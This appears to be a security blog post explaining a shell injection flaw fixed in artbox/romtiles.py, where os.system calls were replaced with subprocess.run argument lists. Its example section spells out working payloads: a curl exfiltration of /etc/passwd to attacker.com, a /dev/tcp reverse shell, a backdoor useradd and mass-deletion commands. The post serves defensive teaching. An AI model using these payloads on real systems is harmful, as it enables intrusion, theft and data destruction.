Shell Injection via os.system: How Unsanitized Input Becomes a Command Execution Nightmare

Introduction

Imagine handing a stranger a sticky note that says "please run this errand for me" — and then discovering they rewrote the note to say "run this errand and empty my bank account." That's essentially what a shell injection vulnerability does to your server.

In a recent security patch to artbox/romtiles.py, a critical vulnerability was identified and fixed: user-controlled input was being embedded directly into shell commands via Python's os.system() function, with no sanitization, quoting, or escaping. The result? Any attacker who could influence the pattern variable could execute arbitrary operating system commands on the host machine — on both Unix and Windows platforms.

This post breaks down exactly what went wrong, how it could be exploited, and what every Python developer should do to avoid this class of vulnerability in their own code.

The Vulnerability Explained

What Is Shell Injection?

Shell injection (also known as OS command injection) occurs when an application constructs a shell command using untrusted data without properly sanitizing it first. When the shell interprets that command, it doesn't know the difference between the intended command and the injected payload — it just runs everything.

This vulnerability is closely related to SQL injection in concept: both arise when data is treated as code.

What Happened in romtiles.py?

At lines 174 and 176 of artbox/romtiles.py, the code made calls like this:

# VULNERABLE CODE (before fix)
os.system(f"some_command {pattern}")
os.system(f"another_command {pattern}")

Here, pattern is a variable — potentially derived from a filename, directory path, or configuration value supplied by a user. It is embedded directly into a shell command string using an f-string, with no escaping, quoting, or validation.

This means the shell receives the entire string as a command to interpret, metacharacters and all.

How Could It Be Exploited?

Shell metacharacters like ;, |, &, $(...), and backticks have special meaning to the shell. An attacker who can control the pattern variable can inject these characters to chain additional commands.

Example attack scenarios:

Unix/Linux:

# Attacker-controlled input:
pattern = "tiles; curl http://attacker.com/exfil?data=$(cat /etc/passwd)"

# Resulting shell command:
some_command tiles; curl http://attacker.com/exfil?data=$(cat /etc/passwd)

The shell executes some_command tiles first, then — because of the semicolon — executes the curl command, exfiltrating the contents of /etc/passwd to an attacker-controlled server.

Windows (cmd.exe):

REM Attacker-controlled input:
pattern = "tiles & del /F /S /Q C:\important_data"

REM Resulting shell command:
some_command tiles & del /F /S /Q C:\important_data

Other dangerous payloads:

# Reverse shell
pattern = "tiles; bash -i >& /dev/tcp/attacker.com/4444 0>&1"

# Create a backdoor user
pattern = "tiles; useradd -m -p $(openssl passwd -1 hacked) backdoor"

# Ransomware-style destruction
pattern = "tiles; find / -name '*.py' -exec rm -f {} +"

What's the Real-World Impact?

The consequences of a successful shell injection attack are severe:

• 🔴 Remote Code Execution (RCE): Full control over the host system
• 🔴 Data Exfiltration: Sensitive files, credentials, and secrets stolen
• 🔴 Lateral Movement: The compromised server becomes a launchpad for attacking internal systems
• 🔴 Persistence: Attackers can install backdoors, cron jobs, or malware
• 🔴 Denial of Service: Critical files or processes can be destroyed

This vulnerability is rated CRITICAL for good reason. A single exploitable input field can hand an attacker the keys to your entire infrastructure.

The Fix

What Changed?

The fix replaces os.system() with Python's subprocess module — specifically using argument lists rather than shell strings. This is the idiomatic, safe way to run external commands in Python.

# BEFORE: Vulnerable — shell interprets the entire string
import os
os.system(f"some_command {pattern}")
os.system(f"another_command {pattern}")

# AFTER: Safe — subprocess separates command from arguments
import subprocess
subprocess.run(["some_command", pattern], check=True)
subprocess.run(["another_command", pattern], check=True)

Why Does This Fix the Problem?

The critical difference is how the operating system receives the command:

When you use subprocess.run() with a list of arguments (and shell=False, which is the default), Python bypasses the shell entirely. The operating system's execve() syscall receives each argument as a separate, discrete value. There is no shell to interpret metacharacters, so ;, |, &, and $() are treated as literal characters — not special instructions.

An attacker's payload of "tiles; rm -rf /" would simply be passed as a single argument string to the command, which would likely just fail to find a file with that name. No shell. No injection. No exploitation.

Additional Safety with check=True

The check=True parameter is a bonus improvement: it raises a subprocess.CalledProcessError exception if the command returns a non-zero exit code. This prevents silent failures and makes error handling explicit, improving both security and reliability.

import subprocess

try:
    subprocess.run(["some_command", pattern], check=True)
except subprocess.CalledProcessError as e:
    # Handle the error properly
    logger.error(f"Command failed with return code {e.returncode}")
    raise

Conclusion

The vulnerability fixed in artbox/romtiles.py is a perfect illustration of how a small coding decision — using os.system() with an f-string instead of subprocess with an argument list — can have catastrophic security consequences. The fix is elegant in its simplicity: one import change and one API change, and the entire attack surface disappears.

Key takeaways:

1. os.system() + user input = shell injection waiting to happen. Avoid it.
2. subprocess.run(["cmd", arg1, arg2]) is the safe, modern alternative. Use it.
3. Never use shell=True with untrusted data. The shell is the attack surface.
4. Validate inputs with allowlists, even when using safe APIs.
5. Automate security scanning in your CI/CD pipeline to catch these issues before they reach production.

Security vulnerabilities like this one don't require sophisticated exploits — they just require a developer not knowing about a dangerous API. Sharing knowledge like this is how we collectively raise the bar for software security.

Stay curious, stay vigilant, and keep your shells out of reach of your users. 🔐

This vulnerability was identified and patched as part of an automated security review. Automated security tooling, combined with developer education, is one of the most effective ways to prevent vulnerabilities from reaching production.